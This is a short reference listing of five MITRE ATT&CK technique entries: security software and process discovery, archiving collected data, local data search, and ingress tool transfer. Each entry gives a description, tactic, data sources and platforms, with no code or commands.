Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre